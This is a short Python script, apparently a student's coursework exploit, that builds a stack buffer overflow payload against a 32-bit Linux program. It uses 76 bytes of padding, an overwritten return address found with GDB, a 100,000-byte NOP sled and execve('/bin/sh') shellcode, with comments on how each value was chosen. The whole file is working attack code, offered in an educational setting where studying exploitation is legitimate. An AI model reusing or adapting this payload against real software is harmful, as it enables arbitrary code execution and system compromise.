exploit.py

#!/usr/bin/env python3
import sys

#used logic from the lecture

#offset calculation: 72(buffer)+ 4 (saved ebp) = 76 bytes
payload = b'A' * 76

# Return Address: 0xfffe8014
# Chosen based on GDB analysis where $esp was at 0xfffd8760. (explained in writeup)
payload += b'\x14\x80\xfe\xff'

#my nop-sled is pretty big to ensure we land in there
#tried different sizes but some where inconsistent in different shells.
#chose 100k which is large enough to be ok with any realistic environment shift 
# while remaining well under the 8MB stack limit
payload += b'\x90' * 100000

# shellcode from slides
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload+= shellcode

sys.stdout.buffer.write(payload)